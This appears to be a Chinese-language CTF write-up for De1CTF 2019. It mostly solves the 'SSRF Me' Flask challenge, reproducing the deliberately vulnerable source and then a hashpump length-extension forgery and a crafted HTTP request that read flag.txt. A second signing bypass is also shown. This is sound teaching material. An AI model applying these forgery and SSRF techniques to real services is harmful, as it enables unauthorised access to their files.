Ywc's blog

De1CTF_WriteUp

Word count: 926Reading time: 5 min
2019/08/03

前言

适逢国赛作品赛,行程匆忙,就做了几道签到23333

We1come

加入tg频道即可得到flag
De1CTF

SSRF Me

题目源码:

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#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
return hashlib.md5(content).hexdigest()

def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)

0x01
python源码分析:
1、访问网站根目录会打开文件code.txt
2、访问/geneSign会返回一个md5(secert_key + param + action)的值(其中param为空,
action为scan)
3、访问/De1ta会创建一个对象并将所有获取到的参数传递进去
0x02
需要同时满足以下条件:
1、getSign(self.action, self.param) == self.sign
2、”read”和”scan”全在action中
0x03
需要同时满足以下条件:
1、getSign(self.action, self.param) == self.sign
2、”read”和”scan”全在action中
0x04
思路:
从/geneSign可以得到md5(secert_key + param + action)的值(其中param为flag.txt,
action为scan)
要想同时满足上述两个条件就要知道md5(secert_key + param + action)的值(其中param为
flag.txt,action为scanread)
所以可以总结为:

已知md5(secert_key+param+scan)
求md5(secert_key+param+scanread)

解法一:hash长度扩展攻击
详细介绍:文章
使用hashpump

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root@kali:~/HashPump# hashpump
Input Signature: 8370bdba94bd5aaf7427b84b3f52d7cb
Input Data: scan
Input Key Length: 24
Input Data to Add: read
d7163f39ab78a698b3514fd465e4018a
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00
read

替换到数据包中即可

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GET /De1ta?param=flag.txt HTTP/1.1
Host: 139.180.128.86
User‐Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0)
Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept‐Language: zh‐CN,zh;q=0.8,zh‐TW;q=0.7,zh‐HK;q=0.5,en‐
US;q=0.3,en;q=0.2
DNT: 1
Connection: close
Upgrade‐Insecure‐Requests: 1
Cookie:
action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read;
sign=d7163f39ab78a698b3514fd465e4018a

解法二:
根据题目提示,构造参数:/geneSign?param=flag.txtread
De1CTF
得到sign的值:7cde191de87fe3ddac26e19acae1525e
接着构造参数:/De1ta?param=flag.txt 并在Cookie中添加action和sign,即可。
De1CTF

Mine Sweeping

扫雷游戏,多次尝试发现雷的位置是固定不变的,一行行试下去,使用隐写工具,最后得到一张类似二维码的图片,扫码即可得到flag.
De1CTF
De1CTF

CATALOG
  1. 1. 前言
  2. 2. We1come
  3. 3. SSRF Me
  4. 4. Mine Sweeping